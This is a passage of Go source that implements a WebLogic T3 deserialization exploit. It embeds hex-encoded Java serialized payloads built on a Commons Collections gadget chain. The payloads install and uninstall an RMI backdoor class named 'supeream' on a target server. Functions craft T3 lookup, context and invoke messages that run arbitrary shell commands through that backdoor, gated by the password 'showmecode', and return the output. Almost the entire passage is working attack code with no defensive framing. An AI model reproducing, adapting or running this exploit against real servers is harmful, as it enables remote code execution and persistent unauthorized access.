00000001767200135B4C6A6176612E6C616E672E537472696E673BADD256E7E91D7B4702000078707400096765744D6574686F647571007E001D0000000271007E003071007E00217371007E00167571007E001B00000002707571007E001B000000017571007E003600000001740009756E696E7374616C6C740006696E766F6B657571007E001D00000002767200106A6176612E6C616E672E4F626A6563740000000000000000000000787071007E00277371007E0011737200116A6176612E7574696C2E48617368536574BA44859596B8B7340300007870770C000000103F4000000000000078737200116A6176612E7574696C2E486173684D61700507DAC1C3775D1660D103000246000A6C6F6164466163746F724900097468726573686F6C6478703F40000000000000770800000010000000007878767200126A6176612E6C616E672E4F766572726964650000000000000000000000787071007E004978"
content, _ := codec.DecodeHex(scontent)
return t.SendPayload(content)
}
func (t *T3Paylaod) installRmi() error {
//content, err := ioutil.ReadFile("/Users/z3/Downloads/payload.data")
scontent := "ACED0005737200257765626C6F6769632E6A6D732E636F6D6D6F6E2E53747265616D4D657373616765496D706C6B88DE4D93CBD45D0C00007872001F7765626C6F6769632E6A6D732E636F6D6D6F6E2E4D657373616765496D706C69126161D04DF1420C000078707A000004001E20000000000000010000144EACED00057372003273756E2E7265666C6563742E616E6E6F746174696F6E2E416E6E6F746174696F6E496E766F636174696F6E48616E646C657255CAF50F15CB7EA50200024C000C6D656D62657256616C75657374000F4C6A6176612F7574696C2F4D61703B4C0004747970657400114C6A6176612F6C616E672F436C6173733B7870737D00000001000D6A6176612E7574696C2E4D6170787200176A6176612E6C616E672E7265666C6563742E50726F7879E127DA20CC1043CB0200014C0001687400254C6A6176612F6C616E672F7265666C6563742F496E766F636174696F6E48616E646C65723B78707371007E00007372002A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6D61702E4C617A794D61706EE594829E7910940300014C0007666163746F727974002C4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436861696E65645472616E73666F726D657230C797EC287A97040200015B000D695472616E73666F726D65727374002D5B4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707572002D5B4C6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E5472616E73666F726D65723BBD562AF1D83418990200007870000000077372003B6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436F6E7374616E745472616E73666F726D6572587690114102B1940200014C000969436F6E7374616E747400124C6A6176612F6C616E672F4F626A6563743B7870767200296F72672E6D6F7A696C6C612E636C61737366696C652E446566696E696E67436C6173734C6F61646572000000000000000000000078707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E496E766F6B65725472616E73666F726D657287E8FF6B7B7CCE380200035B000569417267737400135B4C6A6176612F6C616E672F4F626A6563743B4C000B694D6574686F644E616D657400124C6A6176612F6C616E672F537472696E673B5B000B69506172616D54797065737400125B4C6A6176612F6C616E672F436C6173733B7870757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C020000787000000001757200125B4C6A6176612E6C616E672E436C6173733BAB16D7AECBCD5A990200007870000000007400166765744465636C61726564436F6E7374727563746F7275717A00000400007E001D000000017671007E001D7371007E00167571007E001B000000017571007E001B0000000074000B6E6577496E7374616E63657571007E001D000000017671007E001B7371007E00167571007E001B0000000274001F636F6D2E737570657265616D2E7061796C6F61642E52656D6F7465496D706C757200025B42ACF317F8060854E0020000787000000E12CAFEBABE0000003200D10A003500720700730A000200720800740A007500760A000200770700780A0007007208007908007A0B007B007C08007D0B007B007E07007F0700800A000F00810A000F00820A000F00830A000F00840800850A007500860800870A007500880800890A008A008B0A0075008C08008D0A0075008E07008F0A001D00720800900B009100920800930800940800950800960700970A002500980A002500990A0025009A07009B07009C0A009D009E0A002A009F0A002900A00700A10A002E00720A002900A20A002E00A30800A40A002E00A50A000E00A60700A70700A80100063C696E69743E010003282956010004436F646501000F4C696E654E756D6265725461626C650100124C6F63616C5661726961626C655461626C65010004746869730100214C636F6D2F737570657265616D2F7061796C6F61642F52656D6F7465496D706C3B0100046D61696E010016285B4C6A6176612F6C616E672F537472696E673B29560100036374780100164C6A617661782F6E616D696E672F436F6E746578743B01000672656D6F7465010001650100154C6A6176612F6C616E672F457863657074696F6E3B010004617267730100135B4C6A6176612F6C616E672F537472696E673B01000D537461636B4D61705461626C650700730700A907007F0100117365745365727665724C6F636174696F6E010027284C6A6176612F6C616E672F537472696E673B4C6A6176612F6C616E672F537472696E673B2956010003636D640100124C6A6176612F6C616E672F537472696E673B01000A457863657074696F6E730700AA01000A75706C6F616446696C65010017284C6A6176612F6C616E672F537472696E673B5B42295601001066696C654F757470757453747265616D01001A4C6A6176612F696F2F46696C654F757470757453747265616D3B01000470617468010007636F6E74656E740100025B420100116765745365727665724C6F636174696F6E010026284C6A6176612F6C616E672F537472696E673B294C6A6176612F6C616E672F537472696E673B01000769734C696E75780100015A0100056F73547970010004636D64730100104C6A6176612F7574696C2F4C6973743B01000E70726F636573734275696C64657201001A4C6A6176612F6C616E672F50726F636573734275696C6465723B01000470726F630100134C6A6176612F6C616E672F50726F7A00000400636573733B01000262720100184C6A6176612F696F2F42756666657265645265616465723B01000273620100184C6A6176612F6C616E672F537472696E674275666665723B0100046C696E650100164C6F63616C5661726961626C65547970655461626C650100244C6A6176612F7574696C2F4C6973743C4C6A6176612F6C616E672F537472696E673B3E3B0700AB0700AC0700970700AD07009B0700A101000A536F7572636546696C6501000F52656D6F7465496D706C2E6A6176610C0037003801001F636F6D2F737570657265616D2F7061796C6F61642F52656D6F7465496D706C010005626C696E640700AB0C00AE00AF0C0058005901001B6A617661782F6E616D696E672F496E697469616C436F6E74657874010007696E7374616C6C010008737570657265616D0700A90C00B000B1010009756E696E7374616C6C0C00B200B30100136A6176612F6C616E672F457863657074696F6E0100186A6176612F696F2F46696C654F757470757453747265616D0C003700B30C00B400B50C00B600380C00B7003801000A73686F776D65636F64650C00B800AF0100096775657373206D653F0C00B900BA0100076F732E6E616D650700BB0C00BC00590C00BD00BE01000377696E0C00BF00C00100136A6176612F7574696C2F41727261794C697374010004244E4F240700AC0C00C100C20100092F62696E2F626173680100022D63010007636D642E6578650100022F630100186A6176612F6C616E672F50726F636573734275696C6465720C003700C30C00C400C50C00C600C70100166A6176612F696F2F42756666657265645265616465720100196A6176612F696F2F496E70757453747265616D5265616465720700AD0C00C800C90C003700CA0C003700CB0100166A6176612F6C616E672F537472696E674275666665720C00CC00BE0C00CD00CE0100010A0C00CF00BE0C00D000BE0100106A6176612F6C616E672F4F626A65637401002E7765626C6F6769632F636C75737465722F73696E676C65746F6E2F436C75737465724D617374657252656D6F74650100146A617661782F6E616D696E672F436F6E746578740100186A6176612F726D692F52656D6F7465457863657074696F6E0100106A6176612F6C616E672F537472696E6701000E6A6176612F7574696C2F4C6973740100116A6176612F6C616E672F50726F63657373010010657175616C7349676E6F726543617365010015284C6A6176612F6C616E672F537472696E673B295A010006726562696E64010027284C6A6176612F6C616E672F537472696E673B4C6A6176612F6C616E672F4F626A6563743B2956010006756E62696E64010015284C6A6176612F6C616E672F537472696E673B29560100057772697465010005285B422956010005666C757368010005636C7A000004006F736501000A73746172747357697468010009737562737472696E670100152849294C6A6176612F6C616E672F537472696E673B0100106A6176612F6C616E672F53797374656D01000B67657450726F706572747901000B746F4C6F7765724361736501001428294C6A6176612F6C616E672F537472696E673B010008636F6E7461696E7301001B284C6A6176612F6C616E672F4368617253657175656E63653B295A010003616464010015284C6A6176612F6C616E672F4F626A6563743B295A010013284C6A6176612F7574696C2F4C6973743B295601001372656469726563744572726F7253747265616D01001D285A294C6A6176612F6C616E672F50726F636573734275696C6465723B010005737461727401001528294C6A6176612F6C616E672F50726F636573733B01000E676574496E70757453747265616D01001728294C6A6176612F696F2F496E70757453747265616D3B010018284C6A6176612F696F2F496E70757453747265616D3B2956010013284C6A6176612F696F2F5265616465723B2956010008726561644C696E65010006617070656E6401002C284C6A6176612F6C616E672F537472696E673B294C6A6176612F6C616E672F537472696E674275666665723B010008746F537472696E6701000A6765744D6573736167650021000200350001003600000005000100370038000100390000002F00010001000000052AB70001B100000002003A00000006000100000015003B0000000C000100000005003C003D00000009003E003F00010039000000F90003000300000061BB000259B700034C2ABE05A000192A03321204B6000599000E2B2A0432B6000657A7003B2ABE04A00035BB000759B700084D2A03321209B6000599000F2C120A2BB9000B0300A700162A0332120CB6000599000B2C120AB9000D0200A700044CB100010000005C005F000E0003003A00000032000C0000001A0008001C0019001D0024001E002A001F00320020003D00210049002200540023005C0028005F002600600029003B0000002A00040032002A004000410002000800540042003D000100600000004300440001000000610045004600000047000000160005FC0024070048FC0024070049F900124207004A000001004B004C000200390000003F0000000300000001B100000002003A0000000600010000002F003B00000020000300000001003C003D000000000001004D004E0001000000010045004E0002004F00000004000100500009005100520001003900000090000300030000001BBB000F592AB700104D2C2BB600112CB600122CB60013A700044DB10001000000160019000E0003003A0000001E00070000003300090034000E0035001200360016003900190037001A003A003B0000002A00040009000D0053005400027A00000400001A00000043004400020000001B0055004E00000000001B00560057000100470000000700025907004A0000010058005900020039000002540005000A000000EE2B1214B600159A00061216B02B100AB600174C043D1218B800194E2DC600112DB6001A121BB6001C990005033DBB001D59B7001E3A042B121FB6001599001319042B07B60017B90020020057A700441C99002319041221B9002002005719041222B9002002005719042BB90020020057A7002019041223B9002002005719041224B9002002005719042BB90020020057BB0025591904B700263A05190504B60027571905B600283A06BB002959BB002A591906B6002BB7002CB7002D3A07BB002E59B7002F3A081907B60030593A09C6001319081909B600311232B6003157A7FFE81908B60033B04D2CB60034B000020000000B00E8000E000C00E700E8000E0004003A0000006E001B0000004100090042000C00440013004700150048001B0049002B004A002D004D0036004F003F0050004F005100530052005D00530067005400730056007D0057008700580090005B009B005C00A2005D00A9005F00BE006000C7006300D2006400E2006700E8006800E90069003B00000070000B001500D3005A005B0002001B00CD005C004E0003003600B2005D005E0004009B004D005F0060000500A9003F00610062000600BE002A00630064000700C7002100650066000800CF00190067004E000900E90005004300440002000000EE003C003D0000000000EE004D004E000100680000000C0001003600B2005D0069000400470000004800080CFD00200107006AFC002107006B231CFF0036000907004807006A0107006A07006B07006C07006D07006E07006F0000FC001A07006AFF0005000207004807006A000107004A004F00000004000100500001007000000002007174000B646566696E65436C6173737571007E001D00000002767200106A6176612E6C616E672E537472696E67A0F0A4387A3BB34202000078707671007E002B7371007E00167571007E001B000000027400046D61696E7571007E001D00000001767200135B4C6A6176612E6C616E672E537472696E673BADD256E7E91D7B4702000078707400096765744D6574686F647571007E001D0000000271007E003071007E00217371007E00167571007E001B00000002707571007E001B000000017571007E003600000001740007696E7374616C6C740006696E766F6B657571007E001D00000002767200106A6176612E6C616E672E4F626A6563740000000000000000000000787071007E00277371007E0011737200116A6176612E7574696C2E48617368536574BA44859596B8B7340300007870770C000000103F4000000000000078737200116A6176612E7574696C2E486173684D61700507DAC1C31660775BD103000246000A6C6F6164466163746F724900097468726573686F6C6478703F40000000000000770800000010000000007878767200126A6176612E6C616E672E4F766572726964650000000000000000000000787071007E004978"
content, _ := codec.DecodeHex(scontent)
return t.SendPayload(content)
}
func (t *T3Paylaod) addr() string {
return utils2.HostPort(t.Ip, t.Port)
}
func (t *T3Paylaod) sendHeader(conn net.Conn) ([]byte, error) {
t.debugf("Send header Msg to %v", conn.RemoteAddr())
header := "t3 10.3.1\nAS:255\nHL:19\n\n"
conn.Write([]byte(header))
if t.showHeader != nil {
t.showHeader()
}
return t.Read(conn)
}
func (t *T3Paylaod) sendInvoke(conn net.Conn, cmd string) ([]byte, error) {
t.debugf("Send t3 Invoke Msg to %v", conn.RemoteAddr())
_, err := conn.Write(t.genInvoke(cmd))
if err != nil {
return nil, err
}
return t.Read(conn)
}
func (t *T3Paylaod) sendLookup(conn net.Conn, name string) ([]byte, error) {
t.debugf("Send t3 Lookup Msg to %v", conn.RemoteAddr())
_, err := conn.Write(t.genLookup(name))
if err != nil {
return nil, err
}
return t.Read(conn)
//return utils2.ReadConnWithTimeout(conn, t.timeout)
//return t.Read(conn)
}
func (t *T3Paylaod) sendContext(conn net.Conn) ([]byte, error) {
t.debugf("Send t3 Context Msg to %v", conn.RemoteAddr())
_, err := conn.Write(t.genContext())
if err != nil {
return nil, utils2.Errorf("write context error: %s", err)
}
return t.Read(conn)
}
func (t *T3Paylaod) Read(conn net.Conn) ([]byte, error) {
byt := utils2.StableReaderEx(conn, t.timeout, 10240)
if len(byt) == 0 {
return byt, errors.New("read empty")
}
//byt, err := utils2.ReadConnWithTimeout(conn, t.timeout)
//if err != nil {
// return nil, utils2.Errorf("read conn[%v] failed: %s", t, err)
//}
return byt, nil
}
// func (t *T3Paylaod) ShowBytes(timeout time.Duration) {
// byt, err := utils2.ReadConnWithTimeout(t.conn, timeout)
// if err != nil {
// }
// println(codec.EncodeToHex(byt))
// }
//
// func (t *T3Paylaod) ShowStr(timeout time.Duration) {
// byt, err := utils2.ReadConnWithTimeout(t.conn, timeout)
// if err != nil {
// }
// println(string(byt))
// }
func (t *T3Paylaod) genLookup(name string) []byte {
var payload []byte
space := "supeream"
sourceIp := "47.104.229.232"
//headers := "0000020205650800000002000000090000009D010100740008737570657265616D73720178703F4000000000000877080000000B000000027400186A6176612E6E616D696E672E70726F76696465722E75726C74001874333A2F2F34372E3130342E3232392E3233323A373030317400227765626C6F6769632E6A6E64692E656E61626C65536572766572416666696E69747974000566616C7365787003"
headers := "05650800000001000000090000009d010100740009737570657265616d73720178703f4000000000000877080000000b000000027400186a6176612e6e616d696e672e70726f76696465722e75726c74001874333a2f2f34372e3130342e3232392e3233323a373030317400227765626c6f6769632e6a6e64692e656e61626c65536572766572416666696e69747974000566616c7365787003fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200136a6176612e7574696c2e486173687461626c6513bb0f25214ae4b803000246000a6c6f6164466163746f724900097468726573686f6c6478707702000078fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707735002f6c6f6f6b7570284c6a6176612e6c616e672e537472696e673b4c6a6176612e7574696c2e486173687461626c653b29000000097878fe00ff"
headers = "000002" + codec.EncodeToHex(yserx.IntToByte(2+len(t.Ip)-len(sourceIp))) + headers
headers = strings.Replace(headers, "05650800000001", "056508000000"+codec.EncodeToHex(yserx.IntToByte(1+len(t.Ip)-len(sourceIp))), 1)
headers = strings.Replace(headers, "000000090000009d", "00000009000000"+codec.EncodeToHex(yserx.IntToByte(157+len(t.Ip)-len(sourceIp))), 1)
header, err := codec.DecodeHex(headers)
var buff []byte
buf := bytes.NewBuffer(buff)
addr := "t3://47.104.229.232:7001"
newAddr := "t3://" + t.Ip + ":" + strconv.Itoa(t.Port)
n := yso.IndexFromBytes(header, addr)
buf.Write(header[:n-2])
buf.Write(yserx.IntTo2Bytes(len(newAddr)))
buf.Write([]byte(newAddr))
buf.Write(header[n+len(addr):])
header = buf.Bytes()
n = yso.IndexFromBytes(header, space)
buf.Reset()
buf.Write(header[:n-2])
buf.Write(yserx.IntTo2Bytes(len(name)))
buf.Write([]byte(name))
buf.Write(header[n+len(space):])
header = buf.Bytes()
payload = header
//payload = append(payload, header...)
//ser, err := yserx.FromJson([]byte(lookupObj0))
//bobj := yserx.MarshalJavaObjects(ser...)
//payload = append(payload, writeObject(bobj)...)
//ser2, err := yserx.FromJson([]byte(lookupObj1))
//bobj2 := yserx.MarshalJavaObjects(ser2...)
//payload = append(payload, writeObject(bobj2)...)
//payload = append(payload, []byte("\xfe\x00\xff")...)
//ioutil.WriteFile("/Users/z3/Downloads/lookup_go_gen", payload, 0666)
if err != nil {
panic(err)
}
return payload
}
func (t *T3Paylaod) genContext() []byte {
addr := "47.104.229.232"
//content, err := ioutil.ReadFile("/Users/z3/Downloads/context.data")
scontent := "016501FFFFFFFFFFFFFFFF0000006A0000EA600000001900D12740B9C41C89BE269402DAAE47D20104BDCC267F517771027973720078720178720278700000000A000000030000000000000001007070707070700000000A000000030000000000000001007006FE010000ACED00057372001D7765626C6F6769632E726A766D2E436C6173735461626C65456E7472792F52658157F4F9ED0C000078707200247765626C6F6769632E636F6D6D6F6E2E696E7465726E616C2E5061636B616765496E666FE6F723E7B8AE1EC90200084900056D616A6F724900056D696E6F7249000C726F6C6C696E67506174636849000B736572766963655061636B5A000E74656D706F7261727950617463684C0009696D706C5469746C657400124C6A6176612F6C616E672F537472696E673B4C000A696D706C56656E646F7271007E00034C000B696D706C56657273696F6E71007E000378707702000078FE010000ACED00057372001D7765626C6F6769632E726A766D2E436C6173735461626C65456E7472792F52658157F4F9ED0C000078707200247765626C6F6769632E636F6D6D6F6E2E696E7465726E616C2E56657273696F6E496E666F972245516452463E0200035B00087061636B616765737400275B4C7765626C6F6769632F636F6D6D6F6E2F696E7465726E616C2F5061636B616765496E666F3B4C000E72656C6561736556657273696F6E7400124C6A6176612F6C616E672F537472696E673B5B001276657273696F6E496E666F417342797465737400025B42787200247765626C6F6769632E636F6D6D6F6E2E696E7465726E616C2E5061636B616765496E666FE6F723E7B8AE1EC90200084900056D616A6F724900056D696E6F7249000C726F6C6C696E67506174636849000B736572766963655061636B5A000E74656D706F7261727950617463684C0009696D706C5469746C6571007E00044C000A696D706C56656E646F7271007E00044C000B696D706C56657273696F6E71007E000478707702000078FE010000ACED00057372001D7765626C6F6769632E726A766D2E436C6173735461626C65456E7472792F52658157F4F9ED0C000078707200217765626C6F6769632E636F6D6D6F6E2E696E7465726E616C2E50656572496E666F585474F39BC908F10200064900056D616A6F724900056D696E6F7249000C726F6C6C696E67506174636849000B736572766963655061636B5A000E74656D706F7261727950617463685B00087061636B616765737400275B4C7765626C6F6769632F636F6D6D6F6E2F696E7465726E616C2F5061636B616765496E666F3B787200247765626C6F6769632E636F6D6D6F6E2E696E7465726E616C2E56657273696F6E496E666F972245516452463E0200035B00087061636B6167657371007E00034C000E72656C6561736556657273696F6E7400124C6A6176612F6C616E672F537472696E673B5B001276657273696F6E496E666F417342797465737400025B42787200247765626C6F6769632E636F6D6D6F6E2E696E7465726E616C2E5061636B616765496E666FE6F723E7B8AE1EC90200084900056D616A6F724900056D696E6F7249000C726F6C6C696E67506174636849000B736572766963655061636B5A000E74656D706F7261727950617463684C0009696D706C5469746C6571007E00054C000A696D706C56656E646F7271007E00054C000B696D706C56657273696F6E71007E000578707702000078FE00FFFE010000ACED0005737200137765626C6F6769632E726A766D2E4A564D4944DC49C23EDE121E2A0C00007870774D210000000000000000000E34372E3130342E3232392E323332000E34372E3130342E3232392E3233320987B4180000000700001B59FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF78FE010000ACED0005737200137765626C6F6769632E726A766D2E4A564D4944DC49C23EDE121E2A0C00007870772201F30282C9E61DBBCB000F3139322E3136382E3130312E313331A9DE37A70000000078"
//scontent := "000005be016501ffffffffffffffff0000006a0000ea600000001900b1558a2679350121a741312e4284312739d2f63e5ed8a009027973720078720178720278700000000a000000030000000000000001007070707070700000000a000000030000000000000001007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c00007870774f210000000000000000000f3139322e3136382e3130312e323131000f3139322e3136382e3130312e323131e0a86c590000000700001b59ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c00007870771c012f169d924a1a970100093132372e302e302e3183b579520000000078"
//scontent := scontentTest
ll := (len(t.Ip)-len(addr))*2 + 77
scontent = strings.Replace(scontent, "4D2100", codec.EncodeToHex(yserx.IntToByte(ll))+"2100", -1)
//scontent = strings.Replace(scontent, "0987B418", "E0A86C59", -1)
//scontent = strings.Replace(scontent, "F30282C9E61DBBCB", "F0DA16FBBE3225ED", -1)
//scontent = strings.Replace(scontent, "A9DE37A70000000078", "28C50CAC0000000078", -1)
content, _ := codec.DecodeHex(scontent)
var buff []byte
buf := bytes.NewBuffer(buff)
n := yso.IndexFromBytes(content, addr)
buf.Write(content[:n-2])
buf.Write(yserx.IntTo2Bytes(len(t.Ip)))
buf.Write([]byte(t.Ip))
buf.Write(yserx.IntTo2Bytes(len(t.Ip)))
buf.Write([]byte(t.Ip))
buf.Write(content[n+(len(addr)+1)*2:])
content = buf.Bytes()
lcontext := len(content) + 4
hexLContext := yserx.IntTo4Bytes(lcontext)
content = append(hexLContext, content...)
//ioutil.WriteFile("/Users/z3/Downloads/context_go_gen", content, 0666)
return content
}
const T3_GENCONTEXT_HEX = "000005C1016501FFFFFFFFFFFFFFFF000000690000EA6000000018604A8CC0BB22DCE5923AAA571F24F825ED8F266D6EFC006D027973720078720178720278700000000A000000030000000000000001007070707070700000000A000000030000000000000001007006"
func (t *T3Paylaod) genContext_() []byte {
var buf []byte
paylaod := bytes.NewBuffer(buf)
header, err := codec.DecodeHex(T3_GENCONTEXT_HEX)
if err != nil {
panic(err)
}
paylaod.Write(header)
paylaod.Write(writeObjectFromJson(contextObj0))
paylaod.Write(writeObjectFromJson(contextObj1))
paylaod.Write(writeObjectFromJson(contextObj2))
paylaod.Write(writeObjectFromJson(contextObj3))
paylaod.Write(writeObjectFromJson(contextObj4))
paylaod.Write(writeObjectFromJson(contextObj5))
//ioutil.WriteFile("/Users/z3/Downloads/contextGen.data", paylaod.Bytes(), 0666)
return paylaod.Bytes()
}
func (t *T3Paylaod) genInvoke(cmd string) []byte {
space := "whoami"
sinvoke := "0000010D05650800000002000001280000002901010074001073686F776D65636F646577686F616D6902FE010000ACED0005737200257765626C6F6769632E726A766D2E496D6D757461626C6553657276696365436F6E74657874DDCBA8706386F0BA0C0000787200297765626C6F6769632E726D692E70726F76696465722E426173696353657276696365436F6E74657874E4632236C5D4A71E0C0000787077020600737200267765626C6F6769632E726D692E696E7465726E616C2E4D6574686F6444657363726970746F7212485A828AF7F67B0C00007870772B00256765745365727665724C6F636174696F6E284C6A6176612E6C616E672E537472696E673B29000001287878FE00FF"
invoke, err := codec.DecodeHex(sinvoke)
if err != nil {
panic(err)
}
invoke[18] = uint8(35 + len(cmd))
linvoke := len(invoke)
var buff []byte
buf1 := bytes.NewBuffer(buff)
buf1.Write(yserx.IntTo4Bytes(len(cmd) + 263))
buf1.Write(invoke[4:11])
buf1.Write(t.invokeId)
buf1.Write(invoke[15 : linvoke-9])
buf1.Write(t.invokeId)
buf1.Write(invoke[linvoke-5:])
invoke = buf1.Bytes()
n := yso.IndexFromBytes(invoke, space)
var buf []byte
payload := bytes.NewBuffer(buf)
//println(codec.EncodeToHex(invoke[:n-10]))
writeStr := "showmecode" + cmd
payload.Write(invoke[:n-12])
payload.Write(yserx.IntTo2Bytes(len(writeStr)))
payload.Write([]byte(writeStr))
payload.Write(invoke[n+len(space):])
//println(codec.EncodeToHex(payload.Bytes()))
//ioutil.WriteFile("/Users/z3/Downloads/lookupReq.data", payload.Bytes(), 0666)
return payload.Bytes()
}